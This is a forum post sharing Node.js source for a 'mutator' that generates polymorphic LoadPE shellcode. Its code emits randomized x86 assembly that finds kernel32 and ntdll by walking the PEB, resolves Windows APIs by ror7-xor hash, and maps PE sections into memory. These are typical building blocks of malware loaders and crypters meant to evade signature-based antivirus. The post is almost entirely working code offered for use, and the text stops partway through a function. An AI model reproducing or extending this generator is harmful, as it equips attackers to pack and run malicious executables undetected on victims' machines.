1

Тема: [NODE JS] Мутатор LoadPE шеллкоду

Колись давно я бавився з кодогенерацією і зробив цей мутатор loadPE шеллкодів. Я розумію, що створюваний код не оптимальний, проте ідея цікава. LLVM для бідних :) Кажен раз мутатор видає інакший код. 

platform.js файл

Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;

exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG; 
exports.LOCK_VAR = LOCK_VAR;

const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;

const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE; 

const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;

const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;

function unchainMem(s) {
    var r=""; 
    if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]); 
    return(r);
}

function unchainConst(s){
    var r = ""; 
    if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]); 
    return(r);
}

function BytesToDword (B1, B2, B3, B4) {
    var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
    return(iResult>>>0);
};

exports.BytesToDword = BytesToDword;

Number.prototype.toHex = function() {
    return('0x'+this.toString(16)); };

function arrRndValue (arr) {                                                                           
    return(arr[Math.floor(Math.random()*arr.length)]);};

function arrRndOrderConact(array){
    return(_.shuffle(array).join(''));};
    
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
    this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };

RegisterProto = {
    lock: function() { this.using = true;},

    unlock: function() { this.using = false; },

    toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},

    isGeneral: function(){return(this.name[3] !== null);}};

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};

module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;

SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],

    has: function (i) {
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
    add: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
    remove: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
    toArrayIndex: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
    toArrayIndexInverse: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
    toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
    toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
    getInt: function () {return(this.num);},
    setInt: function (i) {this.num = i; return (true);},
    not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};

module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], 
    ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {

    objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},

    arrIndexToArrObj : function (a) {
    if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null); 
    return(_.map(a, function(x) { return(this.container[x]); }, this))},

    getIndexByName : function (sName){
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},

    getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},

    getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },

    getArrFreeName : function () {return(this.used.toArrayNamesInverse());},

    getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},

    getUsedIndex : function () {return(this.used.toArrayIndex());},

    getUsedNames : function() {return(this.used.toArrayNames());},

    getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
    
    getFreeIndex : function(flags) {
        var  rs = this.getArrFreeObj(), r, res; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
        if (!_.size(rs)) return(NaN); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock(); 
        res = this.objToIndex(r);
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
        return(res);
    },

    getFreeObj : function(flags) {
        var  rs = this.getArrFreeObj(), r; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
        if (!_.size(rs)) return(null); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock();
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
        return(r);
    }
}

module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;

function Variable (sName, iSize) {
    this.name = sName; this.use = false; this.size = iSize;};

module.exports.Variable = Variable;

function Variables () {
    this.container = new Array();};
    
VariablesProto = {

    add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},

    isExists : function (sName) {
    return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},

    toString : function (sName) {
    return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+'  local   '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},

    getAsmType : function(i) {
    var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
    if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');}};

module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.ptototype = VariablesProto;

//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
    var f;
    this.regs = new Registers(); this.vars = new Variables(); this.name = sName; 
    this.callconv = sCallConv;
    if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
    this.tableCmd = [];
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
    this.tableCmd.push(['inc', ['r8'], 1, f]); 
    this.tableCmd.push(['inc', ['r16'], 1, f]); 
    this.tableCmd.push(['inc', ['r32'], 1, f]); 
    this.tableCmd.push(['inc', ['m32'], 1, f]);
    f = function (p, f) {
        f.emit(['add', p[1].s, p[0].s]); return(true);};
    this.tableCmd.push(['add', ['c8', 'r8'], 2, f]); 
    this.tableCmd.push(['add', ['c16', 'r16'], 2, f]); 
    f = function (p, f) {
        f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
    this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
    f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
    this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
    f = function (p, f) {
        f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
    this.tableCmd.push(['load', ['m32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'm32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit(['push', p[0].s, ';', 'pop', p[1].s]); 
        return(true);
    };
    this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); 
        return(true);
    };
    this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
        return(true);
    };
    this.tableCmd.push(['checkz', ['r8'], 1, f]); 
    this.tableCmd.push(['checkz', ['r16'], 1, f]); 
    this.tableCmd.push(['checkz', ['r32'], 1, f]);
    f = function(p, f) {
        f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]); 
        return(true)
    };
    this.tableCmd.push(['loadz', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit(['movzx', p[1].s, p[0].s]); 
        return(true)
    };
    this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
    this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
    f = function(p, f) {
        var r;
        if (_.random(1)) {
            f.emit(['cmp', p[1].s, p[0].s]);
        } else {
            r = f.getFreeReg(LOCK_REG); 
            f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
            f.emit(['cmp', r.s, (p[0].i).toHex()]); 
            r.o.unlock();
        }; 
        return(true);
    };
    this.tableCmd.push(['check', ['c16', 'm16'], 2, f]); 
    f = function(p, f) { 
        f.emit(['cmp', p[1].s, p[0].s]); return(true);
    };
    this.tableCmd.push(['check', ['c32', 'm32'], 2, f]); 
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},

    finalize : function(r) {
    if (this.callconv == 'stdcall') {
        var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
        regz = this.regs.getUsedIndex();
        if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
            if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);} 
            else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); }; 
        } else { 
            this.vars.add('iResult');
            if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
                if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
        };
        if (bSaveUsedRegs) {
            this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return('    push    '+i+'\n'+memo+'    pop     '+i+'\n');}, this.code, this);}
        else {this.code = '    pusha\n'+this.code+'    popa\n';};
        if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
        this.code = 'proc    '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+'    ret\nendp\n';
        return (true);};
    return(false);},

    setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },

    toString : function () {return(this.code);},

    toType : function(t, v) {
    var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
    isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
    toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i))) 
    return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
    toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
    // 
    oTableType = {
        'm32': function (p, ee) {return(toMem(p, MEM32));}, 
        'm16': function (p, ee) {return(toMem(p, MEM16));}, 
        'm8':  function (p, ee) {return(toMem(p, MEM8));}, 
        'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
        'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
        'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
    };
    return(_.has(oTableType,t)?oTableType[t](v,this):null);
},

    cmd : function(name, params) {
        var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
        if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); 
        if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
    
    getFreeReg: function(f) {
    return(this.toType('r32', this.regs.getFreeIndex(f)));}};

module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

tablecall.js файл

Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var _ = require('./modules/underscore/underscore.js');
var p = require('./platform.js');

function nameptrfnc(v) {
    if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
        return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};

module.exports = nameptrfnc;

function namehandlelib(slib) {
    if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};

module.exports = namehandlelib;

function namestrzlib(slib) {
    if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};

module.exports = namestrzlib;

function genAPIStruct(ta) {
    return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};

module.exports.genAPIStruct = genAPIStruct;

toHex = function(x) {
    return('0x'+x.toString(16));};

CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
    var ee = new p.ExecutionEnvironment(name, callconv, params);
    fSnippet(ee, ee.regs, ee.vars, prmz);
    ee.finalize();
    return({e : ee, code: ee.code, buffer: null});};

module.exports.CodeSnippet = CodeSnippet;

var fHashRor7Xor = function (e, r, v) {
    var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['strz', r2.i]);
    e.cmd('load_c32$r32', [0, r1.i]);
    e.emit(['push',''+r1.s]);
    e.emit('.CalcHash:\n');
    e.emit(['ror', r1.s, 7]);
    e.emit(['xor','[esp]', r1.s]);
    e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s,  'Byte ['+r2.s+']']);
    e.cmd('inc_r32', [r2.i]);
    e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
    e.emit(['jnz','.CalcHash']);
    e.emit(['pop','eax']);
    e.setUseForResult(p.REG_EAX);};

var fGetNtdll = function (e, r, v) {
    var r1, r2, r3, r4;
    r1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
    r1.o.unlock();
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
    r2.o.unlock();
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
    r3.o.unlock();
    e.setUseForResult(r3.s+'+0x8');};

var fGetK32 = function (e, r, v){
    var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
    e.vars.add('iResult');
    reg1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
    reg1.o.unlock();
    reg2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
    reg2.o.unlock();
    reg3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
    e.emit('.NextModule:\n');
    e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
    reg4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
    e.cmd('load_m32$r32', [reg3.s, reg3.i]);    
    reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
    e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
    e.cmd('checkz_r32', [reg5.i]);
    e.emit(['jne', '.NextModule']);
    e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
    e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s,  toHex(c[1]), ';', 'jne', '.NextModule']);
    e.emit('.Found_K32:\n');
    e.setUseForResult('iResult');};

function genData(e, buff, memdest) {
    var i = 0, r = e.getFreeReg(LOCK_REG);
    e.emit(['lea', r.s, '['+memdest+']']);
    while( i < buff.length){
        if ((buff.length - i - 1) > 4) {
            e.cmd('load_c32$m32', [p.BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
        } else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff[i])]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};

module.exports.genData = genData;

function fAltGetProcAddress (e, r, v){
    var r1;
    e.vars.add('iResult');
    r1 = e.getFreeReg(p.LOCK_REG);
    eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
    e.cmd('check_c16$m16', [0x5a4d, r1.s]);
    e.emit(['jne', '.End']);
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
    e.cmd('add_r32$r32', [r1.i, r2.i]);
    e.cmd('check_c32$m32', [0x4550, r2.s]);
    e.emit(['jne', '.End']);
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
    r2.o.unlock();
    e.cmd('add_r32$r32', [r1.i, r3.i]);
    r4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
    r5 = e.getFreeReg(p.LOCK_REG);
    e.emit(['push', r3.s]);
    e.cmd('loadz_r32', [r5.i]);
    r6 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);   
    r3.o.unlock(); 
    e.cmd('add_r32$r32', [r1.i, r6.i]);
    e.emit('.MainLoop:\n');
    r7 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r6.s, r7.i]);
    e.cmd('add_r32$r32', [r1.i, r7.i]);
    e.emit(['push', 'eax']);
    e.emit(['stdcall', '[fHashProc]', r7.s]);
    e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
    e.emit(['pop', 'eax']);
    e.emit(['jz', '.FoundProcname']);
    eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
    e.cmd('checkz_r32', [r4.i]);
    e.emit(['jnz', '.MainLoop']);
    e.emit(['pop', e.getFreeReg().s]);
    e.emit(['jmp', '.End']);
    e.emit('.FoundProcname:\n');
    r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
    r8 = e.getFreeReg(p.LOCK_REG);
    e.emit(['pop', r8.s]);
    eval("e.emit(['shl', r5.s, 0x1])");
    e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
    r9 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
    eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);", 
        "e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
    e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
    r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r9.s, r10.i]);
    e.cmd('add_r32$r32', [r1.i, r10.i]);
    e.cmd('load_r32$m32', [r10.i, 'iResult']);
    e.emit('.End:\n');  
};

function tableApiUnique (ta) {
    return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};

function tableApiHasLib(ta, sDll) {
    return (_.size(_.where(ta, {lib:sDll})) > 0);};

function tableApiHasUserLibs(ta){
    return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};

function tableApiGetUserLibs(ta) {
     return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};


var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);

function _rotr (value, shift) {
    if ((shift &= 31) == 0) return value;
    return ((value >>> shift) | (value << (32 - shift)));};

function hash_ror7xor(b){
    var r = 0, x = 0;
    for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b[i]>>>0; }; 
        return( (r^=_rotr(x, 7))>>>0);};

function followApiTable(e, ta){
    var bufflib,  r = e.regs, v = e.vars;
    reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]); 
    reg_addr.o.lock();
    if (tableApiHasUserLibs(ta)) {
        ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
    ta = tableApiUnique(ta);
    v.add('pGetHashSz');
    e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
    e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
    e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
    if (tableApiHasLib(ta, 'kernel32.dll')) {
        e.vars.add(namehandlelib('kernel32.dll'));
        e.emit(['call', 'GetK32']);
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
    if (tableApiHasLib(ta, 'ntdll.dll')) {
        e.vars.add(namehandlelib('ntdll.dll'));
        e.emit(['call', 'GetNtdll']);
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
    e.vars.add('APITable',_.size(ta)*4);
    _.each(tableApiGetUserLibs(ta), function(lib) { 
        e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
        e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
        var s, bufflib, ro;
        s = namestrzlib(lib);
        bufflib = new Buffer(lib+'\0', 'utf-8');
        v.add(s, _.size(bufflib));
        genData(e, bufflib, s);
        v.add(namehandlelib(lib));
        ro = e.getFreeReg(p.LOCK_REG);
        e.emit(['lea', ro.s, '['+s+']'])
        e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
        }, this);
    _.each(ta, function(value) {
        if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
            e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
            e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
        }, this);
    reg_addr.o.unlock();
    return(genAPIStruct(ta));};
    
module.exports.followApiTable = followApiTable;
module.exports.procz =  [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];

loadpe.js головний файл

Одчинити
var tc = require('./tablecall.js');
var p = require('./platform.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');

var tableApi = [{fnc:'LoadLibraryA', lib:'kernel32.dll'},  {fnc:'VirtualProtect', lib:'kernel32.dll'}];
var headerz;
var procz = tc.procz;

var loadSection = 'proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD \n\n\
    pushad \n'+_.shuffle(['    mov     edx, [pSectionHeader]', '    mov     esi, [pFileImageBase]']).join('\n')+ '\n' +
    _.shuffle(['    add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]', 
    '    mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]\n    add     edi, [image_base]',
    '    mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]', '    cld']).join('\n')+'\n'+'\
    rep     movsb\n\
    popad\n\
    ret\n\
endp\n';

function fSetSection (e, r, v){
    var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    v.add('.section_flags'); v.add('iResult'); v.add('.vprotect_ret');
    e.cmd('load_c32$m32', [0, 'iResult']);
    e.cmd('load_m32$r32', ['pSectionHeader', r1.i]);
    e.emit(";section execute/read/write?\n");
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i,]);
